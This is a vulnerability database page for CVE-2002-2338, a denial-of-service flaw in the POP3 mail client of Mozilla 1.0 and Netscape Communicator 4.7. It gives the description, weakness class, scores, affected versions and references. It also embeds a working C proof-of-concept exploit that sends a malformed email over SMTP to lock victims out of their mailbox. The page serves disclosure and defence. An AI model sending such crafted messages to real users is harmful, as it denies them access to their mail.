CVE-2002-2338 : Detail

CVE-2002-2338

A03-Injection
6.2%V3
Network
2007-10-29
19h00 +00:00
2024-09-16
20h06 +00:00
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CVE Descriptions

The POP3 mail client in Mozilla 1.0 and earlier, and Netscape Communicator 4.7 and earlier, allows remote attackers to cause a denial of service (no new mail) via a mail message containing a dot (.) at a newline, which is interpreted as the end of the message.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

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EPSS Score

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EPSS Percentile

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Exploit information

Exploit Database EDB-ID : 21539

Publication date : 2002-06-11
22h00 +00:00
Author : eldre8
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/5002/info The Netscape Communicator and Mozilla browsers include support for email, and the ability to fetch mail through a POP3 server. Both products are available for a range of platforms, including Microsoft Windows and Linux. Under some circumstances, malformed email messages may prevent Netscape and Mozilla clients from accessing POP3 mailboxes. In particular, users will be unable to access more recent messages or delete the malicious email. /* this is the code that comes with my * advisory #1 to illustrate this... * eldre8 at afturgurluk (double dot minus one) org */ #include #include #include #include #include #include #include #include #define MX "localhost" #define EHLO "EHLO mx\r\n" #define MAIL "MAIL FROM: root@localhost\r\n" #define RCPT "RCPT TO: root@localhost\r\n" #define DATA "DATA\r\n" #define QUIT "QUIT\r\n" #define PORT 25 int sock; char buffer[255]; void SigCatch() { fprintf(stderr, "\b\bbye!\n"); close(sock); exit(0); } int main() { /* I was too lame to implement the command line... :) */ int i; struct sockaddr_in sout; struct hostent *hp; signal(SIGINT, SigCatch); hp=gethostbyname(MX); sock=socket(AF_INET, SOCK_STREAM, 0); if (sock<0) { perror("sock"); return -1; } sout.sin_family=AF_INET; sout.sin_port=htons(PORT); memcpy(&(sout.sin_addr), *(hp->h_addr_list), sizeof(struct in_addr)); if (connect(sock, &sout, sizeof(sout))<0) { perror("connect"); return -1; } recv(sock, buffer, 255, 0); /* receive the banner... */ send(sock, EHLO, sizeof(EHLO), 0); recv(sock, buffer, 255, 0); /* receive the welcome message... */ send(sock, MAIL, sizeof(MAIL), 0); recv(sock, buffer, 255, 0); /* receive the acknowledgement to mail from. */ send(sock, RCPT, sizeof(RCPT), 0); recv(sock, buffer, 255, 0); /* idem, but for the rcpt to... */ send(sock, DATA, sizeof(DATA), 0); recv(sock, buffer, 255, 0); i=sprintf(buffer, "b4d maIl 1n 4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20"); *(buffer+i)="\x0"; sprintf(buffer+i+1, "\n.\n"); send(sock, buffer, i+1+3, 0); /* send the dumb thing ... */ recv(sock, buffer, 255, 0); send(sock, QUIT, sizeof(QUIT), 0); recv(sock, buffer, 255, 0); close(sock); return 0; }

Products Mentioned

Configuraton 0

Mozilla>>Mozilla >> Version 0.9.2

Mozilla>>Mozilla >> Version 0.9.2.1

Mozilla>>Mozilla >> Version 0.9.3

Mozilla>>Mozilla >> Version 0.9.4

Mozilla>>Mozilla >> Version 0.9.4.1

Mozilla>>Mozilla >> Version 0.9.5

Mozilla>>Mozilla >> Version 0.9.6

Mozilla>>Mozilla >> Version 0.9.7

Mozilla>>Mozilla >> Version 0.9.8

Mozilla>>Mozilla >> Version 0.9.9

Mozilla>>Mozilla >> Version 1.0

Mozilla>>Mozilla >> Version 1.0

    Mozilla>>Mozilla >> Version 1.0

      Netscape>>Communicator >> Version 4.0

      Netscape>>Communicator >> Version 4.4

      Netscape>>Communicator >> Version 4.5

      Netscape>>Communicator >> Version 4.06

      Netscape>>Communicator >> Version 4.6

      Netscape>>Communicator >> Version 4.07

      Netscape>>Communicator >> Version 4.7

      Netscape>>Communicator >> Version 4.08

      Netscape>>Communicator >> Version 4.51

      Netscape>>Communicator >> Version 4.61

      Netscape>>Communicator >> Version 4.72

      Netscape>>Communicator >> Version 4.73

      Netscape>>Communicator >> Version 4.74

      Netscape>>Communicator >> Version 4.75

      Netscape>>Communicator >> Version 4.76

      Netscape>>Communicator >> Version 4.77

      Netscape>>Navigator >> Version 6.0

      Netscape>>Navigator >> Version 6.0

        Netscape>>Navigator >> Version 6.01

        Netscape>>Navigator >> Version 6.1

        Netscape>>Navigator >> Version 6.2

        Netscape>>Navigator >> Version 6.2.1

        Netscape>>Navigator >> Version 6.2.2

        References

        http://www.securityfocus.com/archive/1/276946
        Tags : mailing-list, x_refsource_BUGTRAQ
        http://online.securityfocus.com/archive/1/276628
        Tags : mailing-list, x_refsource_BUGTRAQ
        http://www.securityfocus.com/bid/5002
        Tags : vdb-entry, x_refsource_BID